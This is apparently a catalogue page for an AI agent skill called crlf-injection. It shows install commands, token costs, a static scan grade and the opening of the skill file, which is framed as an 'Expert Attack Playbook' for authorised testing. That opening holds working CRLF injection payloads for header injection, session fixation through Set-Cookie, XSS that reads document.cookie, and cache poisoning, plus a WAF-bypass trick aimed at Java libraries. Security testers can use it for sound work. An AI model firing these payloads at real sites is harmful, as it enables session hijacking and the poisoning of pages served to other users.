crlf-injection

crlf-injection is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 44 tokens per session (1,447 once invoked), scanned A, a copy of crlf-injection, Apache-2.0.

A security-testing guide for CRLF injection, where carriage-return and line-feed characters can split an HTTP response into extra headers or a response body.

In plain words
What is it for?
Use it during authorised testing to check for HTTP response splitting, injected headers, cache poisoning, session-related attacks, and related escalation paths.
Why use it?
It helps find unsafe handling of user input in redirects, cookies, response headers, or logs.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Good fit Use it during authorised testing to check for HTTP response splitting, injected headers, cache poisoning, session-related attacks, and related escalation paths.

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Install with agentmods
npx agentmods add skills/justinedevs/premortem/crlf-injection
Install

Getting it into your agent

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Any agent
npx skills add JustineDevs/premortem --skill crlf-injection
Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem

Made for: Claude Code, Codex.

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Per session 44 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,447 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00044 $0.01447
Opus 5 $0.00022 $0.00724
Sonnet 5 $0.00009 $0.00289
Haiku 4.5 $0.00004 $0.00145

Measured 9d ago against content hash 03a3f55658d3, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

crlf-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to crlf-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/crlf-injection/SKILL.md · 180 lines

How it starts

The opening of the file, as written. The whole thing — 180 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: CRLF Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

  • ghost-bits-cast-attack when the target is a Java service and %0D%0A / \r\n encodings are WAF-blocked — substituting (U+760D, low byte \r) and (U+760A, low byte \n) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)

1. CORE CONCEPT

CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie

2. DETECTION

Basic Probe

%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"

Double CRLF — Body Injection

Two consecutive CRLF sequences end headers and start body:

%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>

3. EXPLOITATION SCENARIOS

Session Fixation via Set-Cookie

%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

XSS via Response Body

%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>

Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>

Read the full file on GitHub · 180 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 180 lines · 44 tokens per session scan A 03a3f55658d3

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crlf-injection is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 44 tokens to every session and 1,447 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to crlf-injection, differing in 0 lines, and is treated as a copy.

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